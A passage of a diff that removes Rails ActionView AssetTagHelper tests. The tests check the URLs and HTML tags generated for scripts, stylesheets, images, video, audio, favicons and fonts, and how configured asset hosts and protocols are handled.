-    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(nil, {}, {:type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="" type="text/html" />),
-    %(auto_discovery_link_tag(nil, {}, {:title => "No stream.. really", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="No stream.. really" type="text/html" />),
-    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="text/html" />),
-    %(auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"})) => %(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
-  }
-
-  JavascriptPathToTag = {
-    %(javascript_path("xmlhr")) => %(/javascripts/xmlhr.js),
-    %(javascript_path("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
-    %(javascript_path("/super/xmlhr.js")) => %(/super/xmlhr.js),
-    %(javascript_path("xmlhr.min")) => %(/javascripts/xmlhr.min.js),
-    %(javascript_path("xmlhr.min.js")) => %(/javascripts/xmlhr.min.js),
-
-    %(javascript_path("xmlhr.js?123")) => %(/javascripts/xmlhr.js?123),
-    %(javascript_path("xmlhr.js?body=1")) => %(/javascripts/xmlhr.js?body=1),
-    %(javascript_path("xmlhr.js#hash")) => %(/javascripts/xmlhr.js#hash),
-    %(javascript_path("xmlhr.js?123#hash")) => %(/javascripts/xmlhr.js?123#hash)
-  }
-
-  PathToJavascriptToTag = {
-    %(path_to_javascript("xmlhr")) => %(/javascripts/xmlhr.js),
-    %(path_to_javascript("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
-    %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
-  }
-
-  JavascriptUrlToTag = {
-    %(javascript_url("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
-    %(javascript_url("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
-    %(javascript_url("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
-  }
-
-  UrlToJavascriptToTag = {
-    %(url_to_javascript("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
-    %(url_to_javascript("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
-    %(url_to_javascript("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
-  }
-
-  JavascriptIncludeToTag = {
-    %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" ></script>),
-    %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" ></script>),
-    %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" ></script>),
-
-    %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all"></script>),
-    %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js"></script>),
-    %(javascript_include_tag("//example.com/all.js")) => %(<script src="//example.com/all.js"></script>),
-  }
-
-  StylePathToTag = {
-    %(stylesheet_path("bank")) => %(/stylesheets/bank.css),
-    %(stylesheet_path("bank.css")) => %(/stylesheets/bank.css),
-    %(stylesheet_path('subdir/subdir')) => %(/stylesheets/subdir/subdir.css),
-    %(stylesheet_path('/subdir/subdir.css')) => %(/subdir/subdir.css),
-    %(stylesheet_path("style.min")) => %(/stylesheets/style.min.css),
-    %(stylesheet_path("style.min.css")) => %(/stylesheets/style.min.css)
-  }
-
-  PathToStyleToTag = {
-    %(path_to_stylesheet("style")) => %(/stylesheets/style.css),
-    %(path_to_stylesheet("style.css")) => %(/stylesheets/style.css),
-    %(path_to_stylesheet('dir/file')) => %(/stylesheets/dir/file.css),
-    %(path_to_stylesheet('/dir/file.rcss', :extname => false)) => %(/dir/file.rcss),
-    %(path_to_stylesheet('/dir/file', :extname => '.rcss')) => %(/dir/file.rcss)
-  }
-
-  StyleUrlToTag = {
-    %(stylesheet_url("bank")) => %(http://www.example.com/stylesheets/bank.css),
-    %(stylesheet_url("bank.css")) => %(http://www.example.com/stylesheets/bank.css),
-    %(stylesheet_url('subdir/subdir')) => %(http://www.example.com/stylesheets/subdir/subdir.css),
-    %(stylesheet_url('/subdir/subdir.css')) => %(http://www.example.com/subdir/subdir.css)
-  }
-
-  UrlToStyleToTag = {
-    %(url_to_stylesheet("style")) => %(http://www.example.com/stylesheets/style.css),
-    %(url_to_stylesheet("style.css")) => %(http://www.example.com/stylesheets/style.css),
-    %(url_to_stylesheet('dir/file')) => %(http://www.example.com/stylesheets/dir/file.css),
-    %(url_to_stylesheet('/dir/file.rcss', :extname => false)) => %(http://www.example.com/dir/file.rcss),
-    %(url_to_stylesheet('/dir/file', :extname => '.rcss')) => %(http://www.example.com/dir/file.rcss)
-  }
-
-  StyleLinkToTag = {
-    %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />),
-
-    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
-  }
-
-  ImagePathToTag = {
-    %(image_path("xml"))          => %(/images/xml),
-    %(image_path("xml.png"))      => %(/images/xml.png),
-    %(image_path("dir/xml.png"))  => %(/images/dir/xml.png),
-    %(image_path("/dir/xml.png")) => %(/dir/xml.png)
-  }
-
-  PathToImageToTag = {
-    %(path_to_image("xml"))          => %(/images/xml),
-    %(path_to_image("xml.png"))      => %(/images/xml.png),
-    %(path_to_image("dir/xml.png"))  => %(/images/dir/xml.png),
-    %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
-  }
-
-  ImageUrlToTag = {
-    %(image_url("xml"))          => %(http://www.example.com/images/xml),
-    %(image_url("xml.png"))      => %(http://www.example.com/images/xml.png),
-    %(image_url("dir/xml.png"))  => %(http://www.example.com/images/dir/xml.png),
-    %(image_url("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
-  }
-
-  UrlToImageToTag = {
-    %(url_to_image("xml"))          => %(http://www.example.com/images/xml),
-    %(url_to_image("xml.png"))      => %(http://www.example.com/images/xml.png),
-    %(url_to_image("dir/xml.png"))  => %(http://www.example.com/images/dir/xml.png),
-    %(url_to_image("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
-  }
-
-  ImageLinkToTag = {
-    %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
-    %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
-    %(image_tag("gold.png", :size => "20")) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
-    %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
-    %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
-    %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
-    %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
-    %(image_tag("google.com.png")) => %(<img alt="Google.com" src="/images/google.com.png" />),
-    %(image_tag("slash..png")) => %(<img alt="Slash." src="/images/slash..png" />),
-    %(image_tag(".pdf.png")) => %(<img alt=".pdf" src="/images/.pdf.png" />),
-    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
-    %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />),
-    %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />),
-    %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />),
-    %(image_tag("")) => %(<img src="" />)
-  }
-
-  FaviconLinkToTag = {
-    %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
-    %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
-    %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/vnd.microsoft.icon" />),
-    %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
-    %(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
-  }
-
-  VideoPathToTag = {
-    %(video_path("xml"))          => %(/videos/xml),
-    %(video_path("xml.ogg"))      => %(/videos/xml.ogg),
-    %(video_path("dir/xml.ogg"))  => %(/videos/dir/xml.ogg),
-    %(video_path("/dir/xml.ogg")) => %(/dir/xml.ogg)
-  }
-
-  PathToVideoToTag = {
-    %(path_to_video("xml"))          => %(/videos/xml),
-    %(path_to_video("xml.ogg"))      => %(/videos/xml.ogg),
-    %(path_to_video("dir/xml.ogg"))  => %(/videos/dir/xml.ogg),
-    %(path_to_video("/dir/xml.ogg")) => %(/dir/xml.ogg)
-  }
-
-  VideoUrlToTag = {
-    %(video_url("xml"))          => %(http://www.example.com/videos/xml),
-    %(video_url("xml.ogg"))      => %(http://www.example.com/videos/xml.ogg),
-    %(video_url("dir/xml.ogg"))  => %(http://www.example.com/videos/dir/xml.ogg),
-    %(video_url("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
-  }
-
-  UrlToVideoToTag = {
-    %(url_to_video("xml"))          => %(http://www.example.com/videos/xml),
-    %(url_to_video("xml.ogg"))      => %(http://www.example.com/videos/xml.ogg),
-    %(url_to_video("dir/xml.ogg"))  => %(http://www.example.com/videos/dir/xml.ogg),
-    %(url_to_video("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
-  }
-
-  VideoLinkToTag = {
-    %(video_tag("xml.ogg")) => %(<video src="/videos/xml.ogg"></video>),
-    %(video_tag("rss.m4v", :autoplay => true, :controls => true)) => %(<video autoplay="autoplay" controls="controls" src="/videos/rss.m4v"></video>),
-    %(video_tag("rss.m4v", :autobuffer => true)) => %(<video autobuffer="autobuffer" src="/videos/rss.m4v"></video>),
-    %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
-    %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
-    %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
-    %(video_tag("error.avi", "size" => "100")) => %(<video src="/videos/error.avi"></video>),
-    %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
-    %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
-    %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
-    %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov"></video>),
-    %(video_tag("multiple.ogg", "multiple.avi")) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
-    %(video_tag(["multiple.ogg", "multiple.avi"])) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
-    %(video_tag(["multiple.ogg", "multiple.avi"], :size => "160x120", :controls => true)) => %(<video controls="controls" height="120" width="160"><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>)
-  }
-
-  AudioPathToTag = {
-    %(audio_path("xml"))          => %(/audios/xml),
-    %(audio_path("xml.wav"))      => %(/audios/xml.wav),
-    %(audio_path("dir/xml.wav"))  => %(/audios/dir/xml.wav),
-    %(audio_path("/dir/xml.wav")) => %(/dir/xml.wav)
-  }
-
-  PathToAudioToTag = {
-    %(path_to_audio("xml"))          => %(/audios/xml),
-    %(path_to_audio("xml.wav"))      => %(/audios/xml.wav),
-    %(path_to_audio("dir/xml.wav"))  => %(/audios/dir/xml.wav),
-    %(path_to_audio("/dir/xml.wav")) => %(/dir/xml.wav)
-  }
-
-  AudioUrlToTag = {
-    %(audio_url("xml"))          => %(http://www.example.com/audios/xml),
-    %(audio_url("xml.wav"))      => %(http://www.example.com/audios/xml.wav),
-    %(audio_url("dir/xml.wav"))  => %(http://www.example.com/audios/dir/xml.wav),
-    %(audio_url("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
-  }
-
-  UrlToAudioToTag = {
-    %(url_to_audio("xml"))          => %(http://www.example.com/audios/xml),
-    %(url_to_audio("xml.wav"))      => %(http://www.example.com/audios/xml.wav),
-    %(url_to_audio("dir/xml.wav"))  => %(http://www.example.com/audios/dir/xml.wav),
-    %(url_to_audio("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
-  }
-
-  AudioLinkToTag = {
-    %(audio_tag("xml.wav")) => %(<audio src="/audios/xml.wav"></audio>),
-    %(audio_tag("rss.wav", :autoplay => true, :controls => true)) => %(<audio autoplay="autoplay" controls="controls" src="/audios/rss.wav"></audio>),
-    %(audio_tag("http://media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="http://media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
-    %(audio_tag("//media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="//media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
-    %(audio_tag("audio.mp3", "audio.ogg")) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
-    %(audio_tag(["audio.mp3", "audio.ogg"])) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
-    %(audio_tag(["audio.mp3", "audio.ogg"], :autobuffer => true, :controls => true)) => %(<audio autobuffer="autobuffer" controls="controls"><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>)
-  }
-
-  FontPathToTag = {
-    %(font_path("font.eot")) => %(/fonts/font.eot),
-    %(font_path("font.eot#iefix")) => %(/fonts/font.eot#iefix),
-    %(font_path("font.woff")) => %(/fonts/font.woff),
-    %(font_path("font.ttf")) => %(/fonts/font.ttf),
-    %(font_path("font.ttf?123")) => %(/fonts/font.ttf?123)
-  }
-
-  def test_autodiscovery_link_tag_deprecated_types
-    result = nil
-    assert_deprecated do
-      result = auto_discovery_link_tag(:xml)
-    end
-
-    expected = %(<link href="http://www.example.com" rel="alternate" title="XML" type="application/xml" />)
-    assert_equal expected, result
-  end
-
-  def test_asset_path_tag
-    AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_compute_asset_public_path
-    assert_equal "/robots.txt", compute_asset_path("robots.txt")
-    assert_equal "/robots.txt", compute_asset_path("/robots.txt")
-    assert_equal "/javascripts/foo.js", compute_asset_path("foo.js", :type => :javascript)
-    assert_equal "/javascripts/foo.js", compute_asset_path("/foo.js", :type => :javascript)
-    assert_equal "/stylesheets/foo.css", compute_asset_path("foo.css", :type => :stylesheet)
-  end
-
-  def test_auto_discovery_link_tag
-    AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_javascript_path
-    JavascriptPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_path_to_javascript_alias_for_javascript_path
-    PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_javascript_url
-    JavascriptUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_url_to_javascript_alias_for_javascript_url
-    UrlToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_javascript_include_tag
-    JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_javascript_include_tag_with_missing_source
-    assert_nothing_raised {
-      javascript_include_tag('missing_security_guard')
-    }
-
-    assert_nothing_raised {
-      javascript_include_tag('http://example.com/css/missing_security_guard')
-    }
-  end
-
-  def test_javascript_include_tag_is_html_safe
-    assert javascript_include_tag("prototype").html_safe?
-  end
-
-  def test_javascript_include_tag_relative_protocol
-    @controller.config.asset_host = "assets.example.com"
-    assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag('prototype', protocol: :relative)
-  end
-
-  def test_javascript_include_tag_default_protocol
-    @controller.config.asset_host = "assets.example.com"
-    @controller.config.default_asset_host_protocol = :relative
-    assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag('prototype')
-  end
-
-  def test_stylesheet_path
-    StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_path_to_stylesheet_alias_for_stylesheet_path
-    PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_stylesheet_url
-    StyleUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_url_to_stylesheet_alias_for_stylesheet_url
-    UrlToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_stylesheet_link_tag
-    StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_stylesheet_link_tag_with_missing_source
-    assert_nothing_raised {
-      stylesheet_link_tag('missing_security_guard')
-    }
-
-    assert_nothing_raised {
-      stylesheet_link_tag('http://example.com/css/missing_security_guard')
-    }
-  end
-
-  def test_stylesheet_link_tag_is_html_safe
-    assert stylesheet_link_tag('dir/file').html_safe?
-    assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
-  end
-
-  def test_stylesheet_link_tag_escapes_options
-    assert_dom_equal %(<link href="/file.css" media="<script>" rel="stylesheet" />), stylesheet_link_tag('/file', :media => '<script>')
-  end
-
-  def test_stylesheet_link_tag_should_not_output_the_same_asset_twice
-    assert_dom_equal %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', 'wellington', 'amsterdam')
-  end
-
-  def test_stylesheet_link_tag_with_relative_protocol
-    @controller.config.asset_host = "assets.example.com"
-    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', protocol: :relative)
-  end
-
-  def test_stylesheet_link_tag_with_default_protocol
-    @controller.config.asset_host = "assets.example.com"
-    @controller.config.default_asset_host_protocol = :relative
-    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington')
-  end
-
-  def test_image_path
-    ImagePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_path_to_image_alias_for_image_path
-    PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_image_url
-    ImageUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_url_to_image_alias_for_image_url
-    UrlToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_image_alt
-    [nil, '/', '/foo/bar/', 'foo/bar/'].each do |prefix|
-      assert_equal 'Rails', image_alt("#{prefix}rails.png")
-      assert_equal 'Rails', image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png")
-      assert_equal 'Long file name with hyphens', image_alt("#{prefix}long-file-name-with-hyphens.png")
-      assert_equal 'Long file name with underscores', image_alt("#{prefix}long_file_name_with_underscores.png")
-    end
-  end
-
-  def test_image_tag
-    ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_image_tag_does_not_modify_options
-    options = {:size => '16x10'}
-    image_tag('icon', options)
-    assert_equal({:size => '16x10'}, options)
-  end
-
-  def test_favicon_link_tag
-    FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_video_path
-    VideoPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_path_to_video_alias_for_video_path
-    PathToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_video_url
-    VideoUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_url_to_video_alias_for_video_url
-    UrlToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_video_tag
-    VideoLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_audio_path
-    AudioPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_path_to_audio_alias_for_audio_path
-    PathToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_audio_url
-    AudioUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_url_to_audio_alias_for_audio_url
-    UrlToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_audio_tag
-    AudioLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_font_path
-    FontPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
-  end
-
-  def test_video_audio_tag_does_not_modify_options
-    options = {:autoplay => true}
-    video_tag('video', options)
-    assert_equal({:autoplay => true}, options)
-    audio_tag('audio', options)
-    assert_equal({:autoplay => true}, options)
-  end
-
-  def test_image_tag_interpreting_email_cid_correctly
-    # An inline image has no need for an alt tag to be automatically generated from the cid:
-    assert_equal '<img src="cid:thi%25%25sis at acontentid" />', image_tag("cid:thi%25%25sis at acontentid")
-  end
-
-  def test_image_tag_interpreting_email_adding_optional_alt_tag
-    assert_equal '<img alt="Image" src="cid:thi%25%25sis at acontentid" />', image_tag("cid:thi%25%25sis at acontentid", :alt => "Image")
-  end
-
-  def test_should_not_modify_source_string
-    source = '/images/rails.png'
-    copy = source.dup
-    image_tag(source)
-    assert_equal copy, source
-  end
-
-  def test_image_path_with_asset_host_proc_returning_nil
-    @controller.config.asset_host = Proc.new do |source|
-      unless source.end_with?("tiff")
-        "cdn.example.com"
-      end
-    end
-
-    assert_equal "/images/file.tiff", image_path("file.tiff")
-    assert_equal "http://cdn.example.com/images/file.png", image_path("file.png")
-  end
-
-  def test_caching_image_path_with_caching_and_proc_asset_host_using_request
-    @controller.config.asset_host = Proc.new do |source, request|
-      if request.ssl?
-        "#{request.protocol}#{request.host_with_port}"
-      else
-        "#{request.protocol}assets#{source.length}.example.com"
-      end
-    end
-
-    @controller.request.stubs(:ssl?).returns(false)
-    assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
-
-    @controller.request.stubs(:ssl?).returns(true)
-    assert_equal "http://localhost/images/xml.png", image_path("xml.png")
-  end
-end
-
-class AssetTagHelperNonVhostTest < ActionView::TestCase
-  tests ActionView::Helpers::AssetTagHelper
-
-  attr_reader :request
-
-  def setup
-    super
-    @controller = BasicController.new
-    @controller.config.relative_url_root = "/collaboration/hieraki"
-
-    @request = Struct.new(:protocol, :base_url).new("gopher://", "gopher://www.example.com")
-    @controller.request = @request
-  end
-
-  def url_for(options)
-    "http://www.example.com/collaboration/hieraki"
-  end
-
-  def test_should_compute_proper_path
-    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
-    assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
-    assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
-    assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-  end
-
-  def test_should_return_nothing_if_asset_host_isnt_configured
-    assert_equal nil, compute_asset_host("foo")
-  end
-
-  def test_should_current_request_host_is_always_returned_for_request
-    assert_equal "gopher://www.example.com", compute_asset_host("foo", :protocol => :request)
-  end
-
-  def test_should_ignore_relative_root_path_on_complete_url
-    assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
-  end
-
-  def test_should_return_simple_string_asset_host
-    @controller.config.asset_host = "assets.example.com"
-    assert_equal "gopher://assets.example.com", compute_asset_host("foo")
-  end
-
-  def test_should_return_relative_asset_host
-    @controller.config.asset_host = "assets.example.com"
-    assert_equal "//assets.example.com", compute_asset_host("foo", :protocol => :relative)
-  end
-
-  def test_should_return_custom_protocol_asset_host
-    @controller.config.asset_host = "assets.example.com"
-    assert_equal "ftp://assets.example.com", compute_asset_host("foo", :protocol => "ftp")
-  end
-
-  def test_should_compute_proper_path_with_asset_host
-    @controller.config.asset_host = "assets.example.com"
-    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-  end
-
-  def test_should_compute_proper_path_with_asset_host_and_default_protocol
-    @controller.config.asset_host = "assets.example.com"
-    @controller.config.default_asset_host_protocol = :request
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-  end
-
-  def test_should_compute_proper_url_with_asset_host
-    @controller.config.asset_host = "assets.example.com"
-    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
-  end
-
-  def test_should_compute_proper_url_with_asset_host_and_default_protocol
-    @controller.config.asset_host = "assets.example.com"
-    @controller.config.default_asset_host_protocol = :request
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
-    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
-  end
-
-  def test_should_return_asset_host_with_protocol
-    @controller.config.asset_host = "http://assets.example.com"
-    assert_equal "http://assets.example.com", compute_asset_host("foo")
-  end
-
-  def test_should_ignore_asset_host_on_complete_url
-    @controller.config.asset_host = "http://assets.example.com"
-    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
-  end
-
-  def test_should_ignore_asset_host_on_scheme_relative_url
-    @controller.config.asset_host = "http://assets.example.com"
-    assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
-  end
-
-  def test_should_wildcard_asset_host
-    @controller.config.asset_host = 'http://a%d.example.com'
-    assert_match(%r(http://a[0123].example.com), compute_asset_host("foo"))
-  end
-
-  def test_should_wildcard_asset_host_between_zero_and_four
-    @controller.config.asset_host = 'http://a%d.example.com'
-    assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png'))
-    assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_url('xml.png'))
-  end
-
-  def test_asset_host_without_protocol_should_be_protocol_relative
-    @controller.config.asset_host = 'a.example.com'
-    assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png')
-    assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_url('xml.png')
-  end
-
-  def test_asset_host_without_protocol_should_be_protocol_relative_even_if_path_present
-    @controller.config.asset_host = 'a.example.com/files/go/here'
-    assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png')
-    assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_url('xml.png')
-  end
-
-  def test_assert_css_and_js_of_the_same_name_return_correct_extension
